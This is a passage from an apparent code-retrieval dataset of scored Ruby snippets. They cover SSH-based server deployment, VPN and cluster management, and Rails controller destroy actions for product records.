"score": "0.5015133",
"text": "def exec_bulk\n command = @commands.join(\" && \")\n\n @environment.instances.each do |instance|\n\n @logfile.info(\"-----------------------\")\n @logfile.info(\"executing: '#{command}'\")\n @logfile.info(\"for node: '#{instance}'\")\n\n # create variable for capturing output or error\n captured_stdout = ''\n captured_stderr = ''\n\n # block for connecting to instance via ssh and passing the command from the task\n bashremote = lambda do |command|\n Open3.popen3(\"ssh -i id_rsa root@#{instance} #{BASH_PATH}\") do |stdin, stdout, stderr|\n stdin.puts command\n stdin.close_write\n puts stdout.read\n @print.info( \"\\n\" + stdout.read)\n @logfile.info(stdout.read)\n @logfile.error(stderr.read)\n end\n end\n\n bashremote[\"#{command}\"]\n end\n\n # puts \"got:\"\n # puts command.inspect\n # Open3.pipeline(commands)\n end",
"title": ""
},
{
"docid": "248fbdb0b69e74f79691c83770b22ebc",
"score": "0.5010907",
"text": "def check_is_master(node)\n begin\n host, port = *node\n config = nil\n socket = @socket_class.new(host, port, @op_timeout, @connect_timeout, @socket_opts)\n if @connect_timeout\n Timeout::timeout(@connect_timeout, OperationTimeout) do\n config = self['admin'].command({:isMaster => 1}, :socket => socket)\n end\n else\n config = self['admin'].command({:isMaster => 1}, :socket => socket)\n end\n rescue OperationFailure, SocketError, SystemCallError, IOError\n close\n ensure\n socket.close unless socket.nil? || socket.closed?\n end\n config\n end",
"title": ""
},
{
"docid": "2c7c2a75d3f1af71841058d2e489be42",
"score": "0.5006434",
"text": "def slaves=(list)\n if list.class == Array\n list = List.new(list)\n list.each_with_index do |value, index|\n if value.is_a?(Hash)\n list[index] = HostNic.new(value)\n end\n end\n end\n @slaves = list\n end",
"title": ""
},
{
"docid": "a4953a0460a3553dda40dcd87f5d1974",
"score": "0.5006237",
"text": "def deploy(configfile, address, delay, port)\n # The ssh keys must be added to ssh-agent, net-ssh does not have its own\n # implementation of an agent.\n h = loadconfig(configfile)\n h.each do |node|\n dst_path = '/tmp/'\n puts \"Deploying nodes.rb to #{node['host']}:#{dst_path}\"\n @threads << Thread.new do\n Net::SSH.start(node['host'], node['user'], :keys => [node['key']], :paranoid => false) do |ssh|\n # ! is blocking here\n ssh.scp.upload! \"#{Dir.pwd}/bin/nodes.rb\", dst_path\n # exec (no !) does not block\n # NOTE *should* not block. It seems the session (incorrectly) refuses\n # to close without these bash trickeries to close stdin/stdout/stderr.\n ssh.exec \"sh -c 'ruby #{dst_path}/nodes.rb -m #{address} -d #{delay} -p #{port} </dev/null >/dev/null 2>&1 &'\"\n end\n end\n end\nend",
"title": ""
},
{
"docid": "5e939038ef6bc8c65ba9c0d2b0e0b53d",
"score": "0.50052035",
"text": "def execute_on_servers(servers, options={}, &block)\n raise ArgumentError, \"expected a block\" unless block_given?\n\n connect_to_servers = ServerDefinition.wrap_list(*servers)\n\n if options[:continue_on_error]\n connect_to_servers.delete_if { |s| has_failed?(s) }\n end\n\n if connect_to_servers.empty?\n raise Capissh::NoMatchingServersError, \"no servers found to match #{options.inspect}\" unless options[:continue_on_no_matching_servers]\n return\n end\n\n logger.trace \"servers: #{connect_to_servers.map { |s| s.host }.inspect}\"\n\n max_hosts = (options[:max_hosts] || connect_to_servers.size).to_i\n is_subset = max_hosts < connect_to_servers.size\n\n if max_hosts <= 0\n raise Capissh::NoMatchingServersError, \"max_hosts is invalid for #{options.inspect}\" unless options[:continue_on_no_matching_servers]\n return\n end\n\n # establish connections to those servers in groups of max_hosts, as necessary\n connect_to_servers.each_slice(max_hosts) do |servers_slice|\n begin\n establish_connections_to(servers_slice)\n rescue ConnectionError => error\n raise error unless options[:continue_on_error]\n error.hosts.each do |h|\n servers_slice.delete(h)\n failed!(h)\n end\n end\n\n begin\n yield Sessions.new(servers_slice.map { |server| sessions[server] })\n rescue RemoteError => error\n raise error unless options[:continue_on_error]\n error.hosts.each { |h| failed!(h) }\n end\n\n # if dealing with a subset (e.g., :max_hosts is less than the\n # number of servers available) teardown the subset of connections\n # that were just made, so that we can make room for the next subset.\n teardown_connections_to(servers_slice) if is_subset\n end\n end",
"title": ""
},
{
"docid": "85ba24cd4ed19d42875df2c8ea581c01",
"score": "0.5004105",
"text": "def current_master\n info = fetch_info\n return unless info[:role] == 'slave'\n Node.new(:host => info[:master_host], :port => info[:master_port].to_i)\n end",
"title": ""
},
{
"docid": "ab376b2d916bc3e1658e85e0e90ed0bb",
"score": "0.50031835",
"text": "def start_head(resource, head)\n \n user = resource[:vm_user]\n puts \"Starting trqauthd on head node\"\n check_command = \"ps aux | grep -v grep | grep trqauthd\"\n out, success = CloudSSH.execute_remote(check_command, user, head)\n unless success\n command = \"/etc/init.d/trqauthd start > /dev/null 2> /dev/null\"\n out, success = CloudSSH.execute_remote(command, user, head)\n unless success\n err \"Impossible to start trqauthd in #{head}\"\n return false\n end\n end\n \n puts \"Starting pbs_server on head node\"\n check_command = \"ps aux | grep -v grep | grep pbs_server\"\n out, success = CloudSSH.execute_remote(check_command, user, head)\n unless success\n command = \"/bin/bash /root/cloud/torque/start-pbs-server\"\n out, success = CloudSSH.execute_remote(command, user, head)\n unless success\n err \"Impossible to start pbs_server in #{head}\"\n return false\n end\n end\n \n puts \"Starting pbs_sched on head node\"\n check_command = \"ps aux | grep -v grep | grep pbs_sched\"\n out, success = CloudSSH.execute_remote(check_command, user, head)\n unless success\n command = \"/bin/bash /root/cloud/torque/start-pbs-sched\"\n out, success = CloudSSH.execute_remote(command, user, head)\n unless success\n err \"Impossible to start pbs_sched in #{head}\"\n return false\n end\n end\n\nend",
"title": ""
},
{
"docid": "f3c7cb8cbe918f89a7af1bbb6fbb3c79",
"score": "0.49839425",
"text": "def start_control(host = nil, port = PORT + 1)\n control.start(host, port)\n end",
"title": ""
},
{
"docid": "3aa47e7334601c36fbd2ae5b76909158",
"score": "0.49813",
"text": "def start\n return ThreadComm.new{|comm_in, comm_out|\n halt = false\n retry_cnt= 0\n\n Net.delete_namespace(@config.namespace) if @config.isolate\n while !halt do\n begin\n retry_str = retry_cnt > 0 ? \" - retry #{retry_cnt}\" : \"\"\n\n # (1) Main thread: Write out the auth file for OpenVPN to read\n File.open(@config.auth, \"w\", 0600){|f|\n f.puts(@config.login.user)\n f.puts(@config.login.pass)\n }\n\n # (2) Main thred: Create network namespace if required\n namespace_exec = \"\"\n if @config.isolate\n Log.warn(\"Starting isolated VPN connection#{retry_str}\")\n if @config.nameservers.any?\n network = Net::Network.new(nil, nil, nil, @config.nameservers)\n Net.create_namespace(@config.namespace, network: network)\n else\n Net.create_namespace(@config.namespace)\n end\n namespace_exec = \"ip netns exec #{@config.namespace} \"\n msg = \"Namespace #{@config.namespace} can't reach google.com\"\n raise(Exception, msg) if !Net.namespace_connectivity?(@config.namespace, 'google.com')\n else\n Log.warn(\"Starting machine wide VPN connection#{retry_str}\")\n end\n\n # (3) OpenVPN thread: manages the openvpn process (inside/outside namespace)\n Log.info(\"Using OpenVPN config #{@config.ovpn.colorize(:cyan)}\")\n ovpndir = \"/etc/openvpn/client\"\n env_path = \"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\n cmd = \"openvpn --nobind --auth-nocache --setenv '#{env_path}'\"\n cmd += \" --config #{@config.ovpn} --auth-user-pass #{@config.auth}\"\n\n # Add dynamic DNS updates from VPN connection\n if !@config.nameservers || !@config.nameservers.any?\n resolved_script = \"/etc/openvpn/scripts/update-systemd-resolved\"\n cmd += \" --script-security 2 --up #{resolved_script} --down #{resolved_script} --down-pre\"\n end\n\n stdin, stdout, openvpn_thread = Open3.popen2e(\"#{namespace_exec}bash -c '#{Net.proxy_export}#{cmd}'\", chdir: ovpndir)\n\n # (4) Log thread: Start a separate log thread drain stdout to logs\n log_thread = Thread.new{\n while line=stdout.gets do\n if line.include?(\"Initialization Sequence Completed\")\n comm_in << ThreadMsg.new(Model::CommCmd.vpn_up)\n end\n if msg = Model::FailMessages.find{|x| line.include?(x)}\n comm_in << ThreadMsg.new(Model::CommCmd.fail, msg)\n end\n\n # Trim out OVPN timestamps e.g. Fri Jul 20 07:14:55 2018\n line = line[line.index(Time.now.year.to_s)+5..-1] if line.include?(Time.now.year.to_s)\n Log.info(\"#{'OVPN:'.colorize(:yellow)} #{line.strip}\")\n end\n }\n\n # (5) Main thread: Manage thread communication and actions\n wait_cnt = 0\n vpn_started = false\n while true do\n if !comm_in.empty?\n msg = comm_in.pop\n\n # Wait for tunnel to be created\n if msg.cmd == Model::CommCmd.vpn_up && !vpn_started\n vpn_started = true\n Log.info(\"VPN #{@config.name.colorize(:cyan)} is up and running\")\n comm_out << ThreadMsg.new(Model::CommCmd.vpn_up)\n\n # Add any routes from the configuration\n if @config.routes && @config.routes.any?\n tun_route = Socket.getifaddrs.find{|x| x.addr and x.name == 'tun0' and x.addr.ipv4?}.dstaddr.ip_address\n @config.routes.each{|route|\n Log.info(\"Adding route #{route.colorize(:cyan)} for #{tun_route.colorize(:cyan)} on tun0\", newline:false)\n exec_with_status(\"ip route add #{route} via #{tun_route} dev tun0\")\n }\n end\n\n # Drop default route to avoid isolation leaks\n if @config.isolate\n Log.info(\"Dropping #{'default'.colorize(:cyan)} route\", newline:false)\n exec_with_status(\"ip netns exec #{@config.namespace} ip route del default\")\n end\n\n # Launch apps in the namespace\n (@config.apps || []).each{|app| self.launch_app_in_namespace(app)}\n end\n\n # Terminate on halt, potentially retry on errors\n if msg.cmd == Model::CommCmd.halt\n Log.warn(\"Halting the management thread\")\n raise SystemExit\n elsif msg.cmd == Model::CommCmd.fail\n Log.error(msg.value)\n raise(Exception, \"OpenVPN connection failed\")\n end\n else\n sleep(0.1)\n end\n\n # Bail if vpn is down and log is drained\n if !openvpn_thread.alive?\n sleep(0.1)\n raise(Exception, \"OpenVPN connection failed\") if comm_in.empty?\n elsif !vpn_started\n Log.info(\"Waiting for vpn #{@config.name.colorize(:cyan)}...\") if wait_cnt % 10 == 0\n wait_cnt += 1\n end\n end\n\n # Allow for aborting\n rescue SystemExit, Interrupt\n halt = true\n\n # Log exceptions\n rescue Exception => e\n Log.error(e.to_s)\n comm_out << ThreadMsg.new(Model::CommCmd.tun_down)\n halt = true if !@config.retry\n\n # Clean up on errors and try again\n ensure\n File.delete(@config.auth) if File.exist?(@config.auth)\n stdin.close if !stdin.nil?\n stdout.close if !stdout.nil?\n self.stop(openvpn_thread)\n\n # Wait for log to drain then send out halt notification\n sleep(0.25)\n while !Log.empty? do\n sleep(0.25)\n end\n comm_out << ThreadMsg.new(Model::CommCmd.halt) if halt\n end\n\n # Retry sleep logic\n if halt\n Log.warn(\"System exit or user terminated!\")\n else\n retry_cnt += 1\n Log.warn(\"OpenVPN terminated/disconnected waiting 10\")\n sleep(10)\n end\n end\n }\n end",
"title": ""
},
{
"docid": "62c3c85007582265cf0fd539a50705a5",
"score": "0.49765107",
"text": "def init_ssh(ssh,opts={})\n @cid_n=0\n self.ssh = ssh\n self.channels={}\n\t\tself.expiration = opts[:expiration]\n\t\tself.comm_timeout = opts[:comm_timeout]\n self.ext = ObjectAliases.new\n self.ext_aliases = ObjectAliases.new\n self.alive = true\n\t\tself.response_timeout = opts[:timeout] || self.class.default_timeout\n\t\tself.send_keepalives = true\n\t\t# self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true\n self.register_extension_alias('core', ClientCore.new(self)) \n self.core.use('stdapi')\n self.thread=Rex::ThreadFactory.spawn(\"metaSSHprocessor\",false) do\n c=0\n begin\n loop do\n ssh.process(0.2)\n end\n rescue Exception => e\n STDERR.puts \"#{e} #{e.backtrace.join(\"\\n\")} \"\n end\n end\n\n end",
"title": ""
},
{
"docid": "af5f5777c71c6db0737b4be528ff16c0",
"score": "0.49751657",
"text": "def run\n fail \"Already running!!!\" if @server\n fail \"Attempt to run master in a worker process\" if worker_process?\n install_signal_traps\n start_server\n\n @task.dispatch do |*task_item|\n # boot workers that haven't started yet or have been reaped\n boot_workers\n\n # check for shutdown or worker reap flag until a connection is pending\n # in the domain socket queue. bail out if workers exited before even\n # requesting a task item.\n while IO.select([@server], nil, nil, 0.010).nil?\n break if @shutdown\n if @reap\n reap_workers\n if !workers_running? && @tasks_distributed == 0\n raise BootFailure, \"Worker processes failed to boot.\"\n else\n boot_workers\n end\n end\n end\n break if @shutdown\n\n # at this point there should be at least one connection pending.\n begin\n data = Marshal.dump(task_item)\n sock = @server.accept\n sock.write(data)\n ensure\n sock.close if sock\n end\n @tasks_distributed += 1\n\n break if @shutdown\n reap_workers if @reap\n end\n\n nil\n rescue Shutdown\n @graceful = false\n @shutdown = true\n ensure\n shutdown! if master_process?\n end",
"title": ""
},
{
"docid": "f5ef24666a87c3dfb583a9aa7ee28c0b",
"score": "0.4975087",
"text": "def update_tokens(machines, tokens, exceptions)\n ec2 = get_ec2_connection\n \n # connects to each running machine and updates their tokens using nodetool move\n machines.each_index do |i|\n instance = ec2.instances[machines[i]]\n unless exceptions.include? i\n begin\n Net::SSH.start(instance.ip_address, \"ubuntu\", :keys => [File.dirname(__FILE__) + '/../' + PEM_FILE]) do |ssh| \n outputs \"Changing token of #{machines[i]}\"\n ssh.exec!(\"/home/ubuntu/cassandra/bin/nodetool move #{tokens[i]}\")\n outputs \"[OK] Token of #{machines[i]} successfully set to #{tokens[i]}\"\n\n outputs \"Cleaning up #{machines[i]}\"\n ssh.exec!(\"/home/ubuntu/cassandra/bin/nodetool cleanup\")\n outputs \"Clean up of #{machines[i]} successfully finished\"\n end\n rescue SystemCallError, Timeout::Error => e\n # port 22 might not be available immediately after the instance finishes launching\n sleep 1\n retry\n end\n end\n end\nend",
"title": ""
},
{
"docid": "2f3bf0fcc920b010b9145fd8b7801b98",
"score": "0.49741474",
"text": "def launch_all\n @servers.each { |s|\n begin\n s.start\n rescue Exception => e\n raise e unless e.message =~ /AlreadyLaunchedError/\n end\n }\n end",
"title": ""
},
{
"docid": "ea852e00c06f83a79d1c4fba0bcecdda",
"score": "0.49612692",
"text": "def active_slaves\n []\n end",
"title": ""
},
{
"docid": "e83d915c61deefba42016a32254ffb3b",
"score": "0.4959666",
"text": "def set_primary(node)\n host, port = *node\n @primary = [host, port]\n @primary_pool = Pool.new(self, host, port, :size => @pool_size, :timeout => @timeout)\n end",
"title": ""
},
{
"docid": "ed6960a776d1a9db2180bbe77c859adf",
"score": "0.49594003",
"text": "def start(&block)\n @on_readable = block if block\n raise 'block required' unless @on_readable\n @server_sockets = Socket.tcp_server_sockets(@port).map{|s| [s, true]}.to_h\n @watching = @server_sockets.keys\n while true\n readable, = IO.select(@watching)\n readable.each do |r|\n case\n when @server_sockets[r]\n connected r\n when @clients.any?{|c| c.socket == r }\n readable r\n when @clients.any?{|c| c.child_socket == r }\n child_died r\n else\n raise \"invalid io: #{r.inspect}\"\n end\n end\n wait_children\n end\n end",
"title": ""
},
{
"docid": "1f88c20559bdfda9b2f35b92563e770d",
"score": "0.49581802",
"text": "def mongos_each_direct_client\n if ClusterConfig.instance.topology == :sharded\n client = ClientRegistry.instance.global_client('basic')\n client.cluster.next_primary\n client.cluster.servers.each do |server|\n direct_client = ClientRegistry.instance.new_local_client(\n [server.address.to_s],\n SpecConfig.instance.test_options.merge(\n connect: :sharded\n ).merge(SpecConfig.instance.auth_options))\n yield direct_client\n direct_client.close\n end\n end\n end",
"title": ""
},
{
"docid": "91f9c26568317b9d7b107a5f12d8c69d",
"score": "0.49547887",
"text": "def connect\n\t\t@attach = $ctx.socket(ZMQ::SUB)\n\t\t@attach.setsockopt(ZMQ::SUBSCRIBE,'heartbeat')\n\n\t\tThread.new do\n\t\t\tloop do\n\n\t\t\t\tbegin\n\t\t\t\t\t@management_nodes.each do |management_node|\nputs \"#{@id.inspect} MONITOR::CONNECT LOOP::MANAGEMENT NODE CONNECTING TO: #{management_node}\"\n\t\t\t\t\t\t@attach.connect(management_node)\n\t\t\t\t\t\t@connected_management_nodes << management_node\n\t\t\t\t\t\t@management_nodes.delete(management_node)\n\t\t\t\t\tend\n\t\t\t\trescue => error\n\t\t\t\t\tputs error\n\t\t\t\t\tputs \"#{@id.inspect} MONITOR::CONNECT LOOP::UNABLE TO CONNECT TO: #{management_node}\"\n\t\t\t\tend\n\n\t\t\t\tsleep 5\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "ab2ff797a9a2d4fc7ad071b5939ab3f9",
"score": "0.49505162",
"text": "def setup_links(nodes)\n super\n @attributes['links'].keys.each do |name|\n spawn(\"ip link set #{name} master br0\")\n end\n end",
"title": ""
},
{
"docid": "d0787c7f50364806c980c158e471f797",
"score": "0.49400923",
"text": "def single_handle(ip, username, password)\n return Net::SSH.start(ip, username, :password => password, :auth_methods => [\"password\", \"publickey\"], :paranoid => false, :forward_agent => true)\n end",
"title": ""
},
{
"docid": "01f6d85726fb8d9e4a0479fcf8cb52a5",
"score": "0.49335065",
"text": "def find_master(nodes)\n nodes.find do |node|\n begin\n node.master?\n rescue NodeUnavailableError\n false\n end\n end\n end",
"title": ""
},
{
"docid": "f8674dc06b9f5e8658acdeb826b8f9d2",
"score": "0.4933179",
"text": "def connect(cids)\n raise \"Invalid EMS given\" if cids.length != 1\n puts \"Connecting to #{cids[0]}...\"\n $emsConnections.currentConnection = cids[0]\n puts \"done\"\n end",
"title": ""
},
{
"docid": "a47126d1c72107d0c9827d7a416a5fd0",
"score": "0.49285015",
"text": "def instantiate_connections\n @primary_pool = Makara::Pool.new('primary', self)\n @config_parser.primary_configs.each do |primary_config|\n @primary_pool.add primary_config do\n graceful_connection_for(primary_config)\n end\n end\n\n @replica_pool = Makara::Pool.new('replica', self)\n @config_parser.replica_configs.each do |replica_config|\n @replica_pool.add replica_config do\n graceful_connection_for(replica_config)\n end\n end\n end",
"title": ""
},
{
"docid": "1d5bce164486d3485c9258d95fe6036c",
"score": "0.49270242",
"text": "def set_master_dns(server)\n run_script('master_init', server)\n end",
"title": ""
},
{
"docid": "e14bfe5299c2b03b474f280ee35f5f85",
"score": "0.49236223",
"text": "def master\n @master ||= Redis.connect(:url => @master_url)\n end",
"title": ""
},
{
"docid": "ef8e9faacf12ef5fe688e959a144f524",
"score": "0.49223942",
"text": "def session_spawn\n return Net::SSH.start(@args[:host], @args[:user], :password => @args[:passwd], :port => @args[:port].to_i)\n end",
"title": ""
},
{
"docid": "e3659a4ecbb747ed789c3b268ac6ba16",
"score": "0.492152",
"text": "def deploy_multinode_compute(nodes, attrs)\n ctrl_nodes = nodes.select {|n| n['role'] == 'controller'}\n Astute.logger.info \"Starting deployment of controllers\"\n deploy_piece(ctrl_nodes, attrs)\n\n quantum_nodes = nodes.select { |n| n['role'] == 'quantum' }\n unless quantum_nodes.empty?\n Astute.logger.info \"Starting deployment of 1st controller again\"\n deploy_piece(quantum_nodes, attrs, retries=0)\n end\n\n compute_nodes = nodes.select {|n| n['role'] == 'compute'}\n Astute.logger.info \"Starting deployment of computes\"\n deploy_piece(compute_nodes, attrs)\n\n other_nodes = nodes - ctrl_nodes - compute_nodes - quantum_nodes\n Astute.logger.info \"Starting deployment of other nodes\"\n deploy_piece(other_nodes, attrs)\n return\n end",
"title": ""
},
{
"docid": "7f4f905518aa85177a6a7cdd946933a4",
"score": "0.49208736",
"text": "def supervisor_children_start\n config[:number].times do |i|\n port = config[:port]+i\n socket = create_socket(config[:bind], port)\n config[:sockets][socket] = port\n config[:fork].times{start_child(socket)}\n end\n end",
"title": ""
},
{
"docid": "7ad334a8f5f4fcce10ec4eebdee549f4",
"score": "0.49207878",
"text": "def connect!\n @rooms.each do |room|\n Thread.new do\n muc = Jabber::MUC::SimpleMUCClient.new(@pocho.client)\n muc.on_message do |time,user,msg|\n m = parse_and_store(user, msg, Time.now) unless time # Avoid msg history\n notify(muc, user) if (m && @notify_with)\n end\n muc.join(\"#{room}/Pocho The Robot\")\n end\n logger.info \"[Pocho] Listening for messages at #{room}...\"\n end\n Thread.stop\n jabber.client.close\n end",
"title": ""
},
{
"docid": "85f26948380ae988c88ce653db0f505b",
"score": "0.4919107",
"text": "def slaveof(host, port); end",
"title": ""
},
{
"docid": "a8b67f9ac46b9518a111b42b464ae2fa",
"score": "0.49148092",
"text": "def start!\n return if started?\n mutex = Mutex.new\n cv = ConditionVariable.new\n Thread.main[:ruote_stomp_connection] = Thread.new do\n Thread.abort_on_exception = true\n\n begin\n if STOMP.settings[:ssl]\n $stomp = OnStomp::Client.new(create_connection_uri(STOMP.settings),\n :ssl => {\n :ca_file => STOMP.settings[:cert],\n :verify_mode => OpenSSL::SSL::VERIFY_NONE\n }\n )\n $stomp.connect\n else\n $stomp = OnStomp.connect create_connection_uri(STOMP.settings)\n end\n \n if $stomp && $stomp.connected?\n started!\n cv.signal\n end\n rescue Exception => e\n raise e, \"Failed to connect to Stomp server: #{e.message}\"\n end\n end\n\n mutex.synchronize { cv.wait(mutex) }\n\n yield if block_given?\n end",
"title": ""
}
] |
23b89c0ccfcd120c0625a1a784922afa
|
DELETE /presentacion_productos/1 DELETE /presentacion_productos/1.json
|
[
{
"docid": "fa7b8fb041d8b590e4786effc19e5c2a",
"score": "0.0",
"text": "def destroy\n @presentacion_producto.destroy\n respond_to do |format|\n format.js\n format.html { redirect_to presentacion_productos_url, notice: 'Presentacion producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "2fa0a3656e86962ca1a10fa31aede189",
"score": "0.78498614",
"text": "def destroy\n @productos_json.destroy\n respond_to do |format|\n format.html { redirect_to productos_jsons_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9fc280a2fd77caa6a56292287169f035",
"score": "0.76992226",
"text": "def destroy\n @productousuario = Productousuario.find(params[:id])\n @productousuario.destroy\n\n respond_to do |format|\n format.html { redirect_to productousuarios_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "948d2b8cc9024f7676a6a7777b32579a",
"score": "0.756747",
"text": "def destroy\n @quimicos_producto.destroy\n respond_to do |format|\n format.html { redirect_to quimicos_productos_url, notice: 'Quimicos producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f9f5bc8e97c45e1b565eecac20ca0269",
"score": "0.75365186",
"text": "def destroy\n @cliente_producto = ClienteProducto.find(params[:id])\n @cliente_producto.destroy\n\n respond_to do |format|\n format.html { redirect_to cliente_productos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f3bd4bdd954f679b253f245a2e468020",
"score": "0.7535055",
"text": "def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f3bd4bdd954f679b253f245a2e468020",
"score": "0.7535055",
"text": "def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f3bd4bdd954f679b253f245a2e468020",
"score": "0.7535055",
"text": "def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f3bd4bdd954f679b253f245a2e468020",
"score": "0.7535055",
"text": "def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f3bd4bdd954f679b253f245a2e468020",
"score": "0.7535055",
"text": "def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to productos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6334c11d4e1fb03401e2fed05462aefb",
"score": "0.7513409",
"text": "def destroy\n @prospecto_cliente_producto.destroy\n respond_to do |format|\n format.html { redirect_to prospecto_cliente_productos_url, notice: 'Prospecto cliente producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d684b3c753b7f62bf53a94b2d9c56ace",
"score": "0.75032973",
"text": "def destroy\n @detalleproducto = Detalleproducto.find(params[:id])\n @detalleproducto.destroy\n\n respond_to do |format|\n format.html { redirect_to detalleproductos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8a0ba15219065448a1d695adc7973c78",
"score": "0.7487514",
"text": "def destroy\n @inventario_producto_detalle.destroy\n respond_to do |format|\n format.html { redirect_to inventario_producto_detalles_url, notice: 'Producto detalle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "74b7df52c2752b636109ef98ef0bf50b",
"score": "0.7484344",
"text": "def destroy\n @tipo_producto = TipoProducto.find(params[:id])\n @tipo_producto.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_productos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b5c5573c92b7a13c40cae3ea7dea1f61",
"score": "0.7450423",
"text": "def destroy\n @producto_necesitado.destroy\n respond_to do |format|\n format.html { redirect_to producto_necesitados_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7961376cc4a7923e9f7623cfce875916",
"score": "0.7442692",
"text": "def destroy\n @repuestos_serigrafia_producto.destroy\n respond_to do |format|\n format.html { redirect_to repuestos_serigrafia_productos_url, notice: 'Repuestos serigrafia producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dbc58a7bfc48c13f75931f5a0fd8433e",
"score": "0.7437012",
"text": "def destroy\n @producto_rematado.destroy\n respond_to do |format|\n format.html { redirect_to producto_rematados_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8f50d392e9099e976d46ba29b6fc0771",
"score": "0.74307734",
"text": "def destroy\n @producto_adjunto.destroy\n respond_to do |format|\n format.html { redirect_to producto_adjuntos_url, notice: 'Producto adjunto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "32799d3e29f3b608f4b38e28e2b35064",
"score": "0.7415179",
"text": "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b2fa0d5f6f00ed5eda4650054d9a91e6",
"score": "0.74091494",
"text": "def destroy\n @producto_persona.destroy\n respond_to do |format|\n format.html { redirect_to producto_personas_url, notice: 'Producto persona was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ecc0ad08c4ae2cc92deb187dfd37455e",
"score": "0.7396825",
"text": "def destroy\n @producto.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "90656c891cc39efe708783a0fb7b8e8c",
"score": "0.7393444",
"text": "def destroy\n @establecimiento_producto.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "15554003d3cc94394e3d5bda63a044fc",
"score": "0.73677385",
"text": "def destroy\n @producto.destroy\n respond_to do |format|\n format.html { redirect_to productos_url, notice: 'Producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "15554003d3cc94394e3d5bda63a044fc",
"score": "0.73677385",
"text": "def destroy\n @producto.destroy\n respond_to do |format|\n format.html { redirect_to productos_url, notice: 'Producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "15554003d3cc94394e3d5bda63a044fc",
"score": "0.73677385",
"text": "def destroy\n @producto.destroy\n respond_to do |format|\n format.html { redirect_to productos_url, notice: 'Producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "eb10a76f70a8d04a7dc1c6e852c99a12",
"score": "0.7364809",
"text": "def destroy\n @producto.destroy\n respond_to do |format|\n format.html { redirect_to productos_url, notice: 'Se ha Eliminado.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2bfe75b895d2626059cf063868dffadf",
"score": "0.73595417",
"text": "def destroy\n @subproducto.destroy\n respond_to do |format|\n format.html { redirect_to subproductos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3924d52800de7a740258e03e9f6bb92e",
"score": "0.73583543",
"text": "def destroy\n @seguridad_producto.destroy\n respond_to do |format|\n format.html { redirect_to seguridad_productos_url, notice: 'Seguridad producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7988190339a3d5e6c90bc85b55ae40a8",
"score": "0.7352786",
"text": "def destroy\n @produto.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "11fee849e2c741edf39554636f1494e6",
"score": "0.73488486",
"text": "def destroy\n @productos_especiale.destroy\n respond_to do |format|\n format.html { redirect_to productos_especiales_url, notice: 'Productos especiale was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "acc3b0cdef587d9ecc4622b9f8ee9675",
"score": "0.7342896",
"text": "def destroy\n @producto_tecnologium.destroy\n respond_to do |format|\n format.html { redirect_to producto_tecnologia_url, notice: 'Producto tecnologium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5e91512ede4fe35680e9ecf4f9cdfeee",
"score": "0.73345834",
"text": "def destroy\n @entrega_producto.destroy\n respond_to do |format|\n format.html { redirect_to entrega_productos_url, notice: 'Entrega producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aa3eed3a25beabaccca4b4dee1604bf2",
"score": "0.731475",
"text": "def destroy\n @producto_cosa.destroy\n respond_to do |format|\n format.html { redirect_to producto_cosas_url, notice: 'Producto cosa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d133169e433317ff6d315666352f04eb",
"score": "0.7309364",
